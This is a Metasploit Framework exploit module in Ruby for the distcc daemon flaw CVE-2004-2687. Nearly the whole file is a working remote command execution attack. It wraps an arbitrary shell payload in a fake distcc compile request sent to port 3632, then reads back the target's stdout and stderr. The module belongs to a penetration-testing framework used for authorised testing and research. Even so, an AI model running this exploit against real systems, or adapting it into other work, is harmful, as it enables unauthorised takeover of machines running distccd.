##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'DistCC Daemon Command Execution',
'Description' => %q{
This module uses a documented security weakness to execute
arbitrary commands on any system running distccd.
},
'Author' => [ 'hdm' ],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2004-2687'],
[ 'OSVDB', '13378' ],
[ 'URL', 'http://distcc.samba.org/security.html'],
],
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Privileged' => false,
'Payload' =>
{
'Space' => 1024,
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl ruby bash telnet',
}
},
'Targets' =>
[
[ 'Automatic Target', { }]
],
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(3632)
], self.class)
end
def exploit
connect
distcmd = dist_cmd("sh", "-c", payload.encoded);
sock.put(distcmd)
dtag = rand_text_alphanumeric(10)
sock.put("DOTI0000000A#{dtag}\n")
res = sock.get_once(24, 5)
if !(res and res.length == 24)
print_status("The remote distccd did not reply to our request")
disconnect
return
end
# Check STDERR
res = sock.get_once(4, 5)
res = sock.get_once(8, 5)
len = [res].pack("H*").unpack("N")[0]
if (len > 0)
res = sock.get_once(len, 5)
res.split("\n").each do |line|
print_status("stderr: #{line}")
end
end
# Check STDOUT
res = sock.get_once(4, 5)
res = sock.get_once(8, 5)
len = [res].pack("H*").unpack("N")[0]
if (len > 0)
res = sock.get_once(len, 5)
res.split("\n").each do |line|
print_status("stdout: #{line}")
end
end
handler
disconnect
end
# Generate a distccd command
def dist_cmd(*args)
# Convince distccd that this is a compile
args.concat(%w{# -c main.c -o main.o})
# Set distcc 'magic fairy dust' and argument count
res = "DIST00000001" + sprintf("ARGC%.8x", args.length)
# Set the command arguments
args.each do |arg|
res << sprintf("ARGV%.8x%s", arg.length, arg)
end
return res
end
end
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